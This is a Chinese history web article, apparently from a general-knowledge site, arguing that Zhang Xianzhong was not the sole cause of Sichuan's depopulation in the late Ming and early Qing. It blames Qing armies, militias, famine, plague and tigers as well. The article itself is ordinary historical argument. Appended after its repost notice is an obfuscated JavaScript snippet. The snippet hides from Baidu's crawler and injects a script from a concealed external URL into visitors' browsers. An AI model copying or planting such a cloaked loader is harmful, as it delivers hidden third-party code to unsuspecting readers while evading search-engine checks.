當前位置:首頁 > 歷史 > 戰(zhàn)史風云 > 正文

張獻忠屠川是真的嗎?張獻忠殺了多少四川人

2016-06-02 23:47:24  來源:360常識網(wǎng)   熱度:
導語:張獻忠是明末農(nóng)民起義領(lǐng)袖,崇禎十三年1640年率部進兵四川,而四川民間一直流傳著“張獻忠屠川”的說法,張獻忠究竟殺了多少四川人?現(xiàn)在已

張獻忠是明末農(nóng)民起義領(lǐng)袖,崇禎十三年1640年率部進兵四川,而四川民間一直流傳著“張獻忠屠川”的說法,張獻忠究竟殺了多少四川人?現(xiàn)在已經(jīng)無法考證具體數(shù)字。但他并非清初四川人口銳減的唯一罪魁,更不可能將四川人幾乎全殺光。

一個有力證據(jù)是,張獻忠在1646年11月就戰(zhàn)死,此后清軍用了近20年時間始擊敗各抗清勢力而平定四川。據(jù)《四川通史》,1647年清將張德勝攻入成都被殺后,相繼攻伐四川的清軍有高民瞻、吳三桂、李化龍等部。

直到1660年,清廷任命的四川巡撫佟鳳彩始在成都建立官署;直到1663年,清軍才真正拿下重慶;直到1665年,下川東戰(zhàn)事結(jié)束,全蜀才完全歸于清廷統(tǒng)治。如果張獻忠在1646年11月前,就已將四川人幾乎殺光,或殺到只剩野史傳說的8萬人,清軍不可能耗費如此多的時間平川。

因此可見四川悲劇的最大禍首是滿清,然而張獻忠屠戮川人的史實并非完全虛構(gòu),但一定有夸大。清政府對明末清初歷史文獻的刪存或捏造,以及文人出于迎合或仇恨的夸大、誣指,是造成“張獻忠殺光四川人”之神話的主要原因。

明末農(nóng)民起義領(lǐng)袖張獻忠

清廷刪存的野史中,有記載張獻忠曾在屠殺之地立一殺氣騰騰的“七殺碑”,上書:“天生萬物以養(yǎng)人,人無一善以報天,殺!殺!殺!殺!殺!殺!殺!”然而,后來在廣漢出土了張獻忠的“圣諭碑”,碑文卻是:“天生萬物與人,人無一物與天,鬼神明明,自思自量?!备緵]有傳說中那么“重口味”。

造成清初四川人口銳減的推手,清初張烺的《燼余錄》說了一大半實話,他在“順治五年”一項下記載,“蜀民至是殆盡矣。今統(tǒng)以十分而計之,其死于獻賊之屠戮者三,死于姚黃之擄掠者二,因亂而自相殘殺者又二,饑而死者又二,其一則死于病矣”。

“獻賊”即張獻忠,“姚黃”是另一支農(nóng)民武裝勢力——姚天動、黃龍的部隊,“因亂而自相殘殺者”,則是指四川地方土豪之間的攻伐。當然,由于這本書是獻給康熙皇帝看的,作者不敢指認清軍殘害川民的狀況。

造成清初四川人口銳減之“人禍”,實是張獻忠、姚黃等農(nóng)民武裝勢力、殘明軍隊、清軍、地方土豪、吳三桂叛軍等共同肆虐之結(jié)果。滿清是其中最大的罪魁。從有點頭腦的角度來講,張獻忠是將四川作為自己的基地,因此不可能殺了那么多人——張獻忠能縱橫天下那么多年顯然不是白癡。

而滿清的統(tǒng)治階級除了像多爾袞那樣少數(shù)人的要問鼎天下外,其他的還停留在入關(guān)搶劫階段,因此很可能滿清是四川人口銳減的罪魁禍首,畢竟?jié)M清的將軍不打算長期占領(lǐng)四川。

在明末清初,絞殺四川人民的除了戰(zhàn)亂之人禍外,還有天災——瘟疫、饑饉與虎患。順治初年,瘟疫等災害席卷大半個四川,川北蒼溪、達縣等地“大旱、大饑、大疫,人自相食,存者萬分之一”。

虎患也大擾蜀土,“有耕田行路,被老虎白晝吞食者,有鄉(xiāng)居散處,被老虎夤夜入食者;及各州縣,城垣倒塌,虎亦有徑行闌食者”??滴醭跄?,由廣元入蜀赴任的四川巡撫張德地,在川境內(nèi)行數(shù)十里,絕無炊煙。

又“舟行數(shù)日,寂無人聲,僅存空山蕪麓”,到了成都,則“舉城盡為瓦礫,藩司公署久已鞠為茂草矣”??滴酢冻啥几尽芬舱f,其時“城郭鞠為荒莽,廬舍蕩若丘墟;百里斷炊煙,第聞青磷叫月;四郊枯茂草,唯看白骨崇山”。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}